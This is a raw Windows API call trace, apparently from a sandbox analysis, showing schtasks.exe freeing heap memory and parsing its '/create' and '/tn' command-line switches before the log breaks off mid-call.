[0129.953] GetProcessHeap () returned 0x250000 [0129.953] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26ccf0) returned 1 [0129.953] GetProcessHeap () returned 0x250000 [0129.953] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26ccf0) returned 0x20 [0129.954] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26ccf0 | out: hHeap=0x250000) returned 1 [0129.954] GetProcessHeap () returned 0x250000 [0129.954] GetProcessHeap () returned 0x250000 [0129.954] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26dd40) returned 1 [0129.954] GetProcessHeap () returned 0x250000 [0129.954] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26dd40) returned 0x8 [0129.954] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26dd40 | out: hHeap=0x250000) returned 1 [0129.954] GetProcessHeap () returned 0x250000 [0129.954] GetProcessHeap () returned 0x250000 [0129.954] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd20) returned 1 [0129.954] GetProcessHeap () returned 0x250000 [0129.954] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cd20) returned 0x20 [0129.955] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd20 | out: hHeap=0x250000) returned 1 [0129.955] GetProcessHeap () returned 0x250000 [0129.955] GetProcessHeap () returned 0x250000 [0129.955] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26de20) returned 1 [0129.955] GetProcessHeap () returned 0x250000 [0129.955] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26de20) returned 0xae [0129.955] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26de20 | out: hHeap=0x250000) returned 1 [0129.955] GetProcessHeap () returned 0x250000 [0129.955] GetProcessHeap () returned 0x250000 [0129.956] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd50) returned 1 [0129.956] GetProcessHeap () returned 0x250000 [0129.956] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cd50) returned 0x20 [0129.956] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd50 | out: hHeap=0x250000) returned 1 [0129.956] GetProcessHeap () returned 0x250000 [0129.956] GetProcessHeap () returned 0x250000 [0129.956] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26dee0) returned 1 [0129.956] GetProcessHeap () returned 0x250000 [0129.956] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26dee0) returned 0x8 [0129.956] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26dee0 | out: hHeap=0x250000) returned 1 [0129.956] GetProcessHeap () returned 0x250000 [0129.956] GetProcessHeap () returned 0x250000 [0129.956] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd80) returned 1 [0129.956] GetProcessHeap () returned 0x250000 [0129.956] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cd80) returned 0x20 [0129.957] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd80 | out: hHeap=0x250000) returned 1 [0129.957] GetProcessHeap () returned 0x250000 [0129.957] GetProcessHeap () returned 0x250000 [0129.957] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d5f0) returned 1 [0129.957] GetProcessHeap () returned 0x250000 [0129.957] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d5f0) returned 0x10 [0129.957] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d5f0 | out: hHeap=0x250000) returned 1 [0129.957] GetProcessHeap () returned 0x250000 [0129.957] GetProcessHeap () returned 0x250000 [0129.957] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cdb0) returned 1 [0129.957] GetProcessHeap () returned 0x250000 [0129.957] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cdb0) returned 0x20 [0129.958] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cdb0 | out: hHeap=0x250000) returned 1 [0129.958] GetProcessHeap () returned 0x250000 [0129.958] GetProcessHeap () returned 0x250000 [0129.958] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26df00) returned 1 [0129.958] GetProcessHeap () returned 0x250000 [0129.958] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26df00) returned 0x6 [0129.958] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26df00 | out: hHeap=0x250000) returned 1 [0129.958] GetProcessHeap () returned 0x250000 [0129.958] GetProcessHeap () returned 0x250000 [0129.958] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cde0) returned 1 [0129.958] GetProcessHeap () returned 0x250000 [0129.958] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cde0) returned 0x20 [0129.959] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cde0 | out: hHeap=0x250000) returned 1 [0129.959] GetProcessHeap () returned 0x250000 [0129.959] GetProcessHeap () returned 0x250000 [0129.959] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26ba20) returned 1 [0129.959] GetProcessHeap () returned 0x250000 [0129.959] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26ba20) returned 0x18 [0129.959] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26ba20 | out: hHeap=0x250000) returned 1 [0129.959] SetLastError (dwErrCode=0x0) [0129.959] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0129.959] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0129.959] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0129.959] VerifyVersionInfoW (in: lpVersionInformation=0x1dc1d0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x1dc1d0) returned 1 [0129.959] SetLastError (dwErrCode=0x0) [0129.959] lstrlenW (lpString="create") returned 6 [0129.960] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0129.960] SetLastError (dwErrCode=0x490) [0129.960] SetLastError (dwErrCode=0x0) [0129.960] lstrlenW (lpString="create") returned 6 [0129.960] GetProcessHeap () returned 0x250000 [0129.960] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cde0 [0129.960] GetProcessHeap () returned 0x250000 [0129.960] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26d5f0 [0129.960] _memicmp (_Buf1=0x26d5f0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.960] GetProcessHeap () returned 0x250000 [0129.960] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x16) returned 0x26d570 [0129.960] SetLastError (dwErrCode=0x0) [0129.960] _memicmp (_Buf1=0x26bae0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.960] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x26bc80, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0129.960] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0129.960] GetProcessHeap () returned 0x250000 [0129.960] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x74e) returned 0x26de20 [0129.961] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x26de20 | out: lpData=0x26de20) returned 1 [0129.961] VerQueryValueW (in: pBlock=0x26de20, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1dc2b8, puLen=0x1dc320 | out: lplpBuffer=0x1dc2b8*=0x26e1bc, puLen=0x1dc320) returned 1 [0129.961] _memicmp (_Buf1=0x26bae0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.961] _vsnwprintf (in: _Buffer=0x26bc80, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x1dc298 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0129.961] VerQueryValueW (in: pBlock=0x26de20, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x1dc328, puLen=0x1dc318 | out: lplpBuffer=0x1dc328*=0x26dfe8, puLen=0x1dc318) returned 1 [0129.961] lstrlenW (lpString="schtasks.exe") returned 12 [0129.961] lstrlenW (lpString="schtasks.exe") returned 12 [0129.961] lstrlenW (lpString=".EXE") returned 4 [0129.961] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0129.961] lstrlenW (lpString="schtasks.exe") returned 12 [0129.961] lstrlenW (lpString=".EXE") returned 4 [0129.961] lstrlenW (lpString="schtasks") returned 8 [0129.961] lstrlenW (lpString="/create") returned 7 [0129.961] _memicmp (_Buf1=0x26bae0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.961] _vsnwprintf (in: _Buffer=0x26bc80, _BufferCount=0x19, _Format="%s %s", _ArgList=0x1dc298 | out: _Buffer="schtasks /create") returned 16 [0129.961] _memicmp (_Buf1=0x26bb00, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.961] GetProcessHeap () returned 0x250000 [0129.961] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cdb0 [0129.962] _memicmp (_Buf1=0x26bb20, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.962] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x26d310, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0129.962] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0129.962] GetProcessHeap () returned 0x250000 [0129.962] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x30) returned 0x267b10 [0129.962] _vsnwprintf (in: _Buffer=0x26c080, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x1dc298 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0129.962] GetProcessHeap () returned 0x250000 [0129.962] GetProcessHeap () returned 0x250000 [0129.962] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26de20) returned 1 [0129.962] GetProcessHeap () returned 0x250000 [0129.962] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26de20) returned 0x74e [0129.962] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26de20 | out: hHeap=0x250000) returned 1 [0129.962] SetLastError (dwErrCode=0x0) [0129.962] GetThreadLocale () returned 0x409 [0129.963] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.963] lstrlenW (lpString="create") returned 6 [0129.963] GetThreadLocale () returned 0x409 [0129.963] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.963] lstrlenW (lpString="?") returned 1 [0129.963] GetThreadLocale () returned 0x409 [0129.963] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.963] lstrlenW (lpString="s") returned 1 [0129.963] GetThreadLocale () returned 0x409 [0129.963] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.963] lstrlenW (lpString="u") returned 1 [0129.963] GetThreadLocale () returned 0x409 [0129.963] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.963] lstrlenW (lpString="p") returned 1 [0129.963] GetThreadLocale () returned 0x409 [0129.963] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.963] lstrlenW (lpString="ru") returned 2 [0129.963] GetThreadLocale () returned 0x409 [0129.963] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.963] lstrlenW (lpString="rp") returned 2 [0129.963] GetThreadLocale () returned 0x409 [0129.963] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.963] lstrlenW (lpString="sc") returned 2 [0129.963] GetThreadLocale () returned 0x409 [0129.963] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.963] lstrlenW (lpString="mo") returned 2 [0129.963] GetThreadLocale () returned 0x409 [0129.963] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.963] lstrlenW (lpString="d") returned 1 [0129.964] GetThreadLocale () returned 0x409 [0129.964] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.964] lstrlenW (lpString="m") returned 1 [0129.964] GetThreadLocale () returned 0x409 [0129.964] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.964] lstrlenW (lpString="i") returned 1 [0129.964] GetThreadLocale () returned 0x409 [0129.964] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.964] lstrlenW (lpString="tn") returned 2 [0129.964] GetThreadLocale () returned 0x409 [0129.964] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.964] lstrlenW (lpString="tr") returned 2 [0129.964] GetThreadLocale () returned 0x409 [0129.964] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.964] lstrlenW (lpString="st") returned 2 [0129.964] GetThreadLocale () returned 0x409 [0129.964] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.964] lstrlenW (lpString="sd") returned 2 [0129.964] GetThreadLocale () returned 0x409 [0129.964] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.964] lstrlenW (lpString="ed") returned 2 [0129.964] GetThreadLocale () returned 0x409 [0129.964] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.964] lstrlenW (lpString="it") returned 2 [0129.964] GetThreadLocale () returned 0x409 [0129.964] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.964] lstrlenW (lpString="et") returned 2 [0129.964] GetThreadLocale () returned 0x409 [0129.964] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.965] lstrlenW (lpString="k") returned 1 [0129.965] GetThreadLocale () returned 0x409 [0129.965] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.965] lstrlenW (lpString="du") returned 2 [0129.965] GetThreadLocale () returned 0x409 [0129.965] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.965] lstrlenW (lpString="ri") returned 2 [0129.965] GetThreadLocale () returned 0x409 [0129.965] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.965] lstrlenW (lpString="z") returned 1 [0129.965] GetThreadLocale () returned 0x409 [0129.965] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.965] lstrlenW (lpString="f") returned 1 [0129.965] GetThreadLocale () returned 0x409 [0129.965] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.965] lstrlenW (lpString="v1") returned 2 [0129.965] GetThreadLocale () returned 0x409 [0129.965] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.965] lstrlenW (lpString="xml") returned 3 [0129.965] GetThreadLocale () returned 0x409 [0129.965] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.965] lstrlenW (lpString="ec") returned 2 [0129.965] GetThreadLocale () returned 0x409 [0129.965] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.965] lstrlenW (lpString="rl") returned 2 [0129.965] GetThreadLocale () returned 0x409 [0129.965] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.965] lstrlenW (lpString="delay") returned 5 [0129.965] GetThreadLocale () returned 0x409 [0129.966] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.966] lstrlenW (lpString="np") returned 2 [0129.966] SetLastError (dwErrCode=0x0) [0129.966] SetLastError (dwErrCode=0x0) [0129.966] lstrlenW (lpString="/create") returned 7 [0129.966] lstrlenW (lpString="-/") returned 2 [0129.966] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.966] lstrlenW (lpString="create") returned 6 [0129.966] lstrlenW (lpString="create") returned 6 [0129.966] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.966] lstrlenW (lpString="create") returned 6 [0129.966] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.966] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|create|") returned 8 [0129.966] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|create|") returned 8 [0129.966] lstrlenW (lpString="|create|") returned 8 [0129.966] lstrlenW (lpString="|create|") returned 8 [0129.966] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0129.966] SetLastError (dwErrCode=0x0) [0129.966] SetLastError (dwErrCode=0x0) [0129.966] SetLastError (dwErrCode=0x0) [0129.966] lstrlenW (lpString="/tn") returned 3 [0129.966] lstrlenW (lpString="-/") returned 2 [0129.966] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.966] lstrlenW (lpString="create") returned 6 [0129.966] lstrlenW (lpString="create") returned 6 [0129.966] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.966] lstrlenW (lpString="tn") returned 2 [0129.967] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.967] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|create|") returned 8 [0129.967] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|tn|") returned 4 [0129.967] lstrlenW (lpString="|create|") returned 8 [0129.967] lstrlenW (lpString="|tn|") returned 4 [0129.967] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0129.967] SetLastError (dwErrCode=0x490) [0129.967] lstrlenW (lpString="?") returned 1 [0129.967] lstrlenW (lpString="?") returned 1 [0129.967] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.967] lstrlenW (lpString="tn") returned 2 [0129.967] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.967] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|?|") returned 3 [0129.967] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|tn|") returned 4 [0129.967] lstrlenW (lpString="|?|") returned 3 [0129.967] lstrlenW (lpString="|tn|") returned 4 [0129.967] SetLastError (dwErrCode=0x490) [0129.967] lstrlenW (lpString="s") returned 1 [0129.967] lstrlenW (lpString="s") returned 1 [0129.967] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.967] lstrlenW (lpString="tn") returned 2 [0129.967] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.967] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|s|") returned 3 [0129.967] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|tn|") returned 4 [0129.967] lstrlenW (lpString="|s|") returned 3 [0129.968] lstrlenW (lpString="|tn|") returned 4 [0129.968] SetLastError (dwErrCode=0x490) [0129.968] lstrlenW (lpString="u") returned 1 [0129.968] lstrlenW (lpString="u") returned 1 [0129.968] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.968] lstrlenW (lpString="tn") returned 2 [0129.968] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.968] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|u|") returned 3 [0129.968] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|tn|") returned 4 [0129.968] lstrlenW (lpString="|u|") returned 3 [0129.968] lstrlenW (lpString="|tn|") returned 4 [0129.968] SetLastError (dwErrCode=0x490) [0129.968] lstrlenW (lpString="p") returned 1 [0129.968] lstrlenW (lpString="p") returned 1 [0129.968] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.968] lstrlenW (lpString="tn") returned 2 [0129.968] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.968] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|p|") returned 3 [0129.968] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|tn|") returned 4 [0129.968] lstrlenW (lpString="|p|") returned 3 [0129.968] lstrlenW (lpString="|tn|") returned 4 [0129.968] SetLastError (dwErrCode=0x490) [0129.968] lstrlenW (lpString="ru") returned 2 [0129.968] lstrlenW (lpString="ru") returned 2 [0129.968] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.968] lstrlenW (lpString="tn") returned 2 [0129.969] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.969] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|ru|") returned 4 [0129.969] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|tn|") returned 4 [0129.969] lstrlenW (lpString="|ru|") returned 4 [0129.969] lstrlenW (lpString="|tn|") returned 4 [0129.969] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0129.969] SetLastError (dwErrCode=0x490) [0129.969] lstrlenW (lpString="rp") returned 2 [0129.969] lstrlenW (lpString="rp") returned 2 [0129.969] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.969] lstrlenW (lpString="tn") returned 2 [0129.969] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.969] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|rp|") returned 4 [0129.969] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|tn|") returned 4 [0129.969] lstrlenW (lpString="|rp|") returned 4 [0129.969] lstrlenW (lpString="|tn|") returned 4 [0129.969] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0129.969] SetLastError (dwErrCode=0x490) [0129.969] lstrlenW (lpString="sc") returned 2 [0129.969] lstrlenW (lpString="sc") returned 2 [0129.969] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.969] lstrlenW (lpString="tn") returned 2 [0129.969] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.969] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|sc|") returned 4 [0129.969] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|tn|") returned 4 [0129.969] lstrlenW (lpString="|sc|") returned 4 [0129.970] lstrlenW (lpString="|tn|") returned 4 [0129.970] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0129.970] SetLastError (dwErrCode=0x490) [0129.970] lstrlenW (lpString="mo") returned 2 [0129.970] lstrlenW (lpString="mo") returned 2 [0129.970] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.970] lstrlenW (lpString="tn") returned 2 [0129.970] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.970] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|mo|") returned 4 [0129.970] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|tn|") returned 4 [0129.970] lstrlenW (lpString="|mo|") returned 4 [0129.970] lstrlenW (lpString="|tn|") returned 4 [0129.970] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0129.970] SetLastError (dwErrCode=0x490) [0129.970] lstrlenW (lpString="d") returned 1 [0129.970] lstrlenW (lpString="d") returned 1 [0129.970] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.970] lstrlenW (lpString="tn") returned 2 [0129.970] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.970] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|d|") returned 3 [0129.970] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|tn|") returned 4 [0129.970] lstrlenW (lpString="|d|") returned 3 [0129.970] lstrlenW (lpString="|tn|") returned 4 [0129.970] SetLastError (dwErrCode=0x490) [0129.970] lstrlenW (lpString="m") returned 1 [0129.970] lstrlenW (lpString="m") returned 1 [0129.971] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.971] lstrlenW (lpString="tn") returned 2 [0129.971] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.971] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|m|") returned 3 [0129.971] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|tn|") returned 4 [0129.971] lstrlenW (lpString="|m|") returned 3 [0129.971] lstrlenW (lpString="|tn|") returned 4 [0129.971] SetLastError (dwErrCode=0x490) [0129.971] lstrlenW (lpString="i") returned 1 [0129.971] lstrlenW (lpString="i") returned 1 [0129.971] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.971] lstrlenW 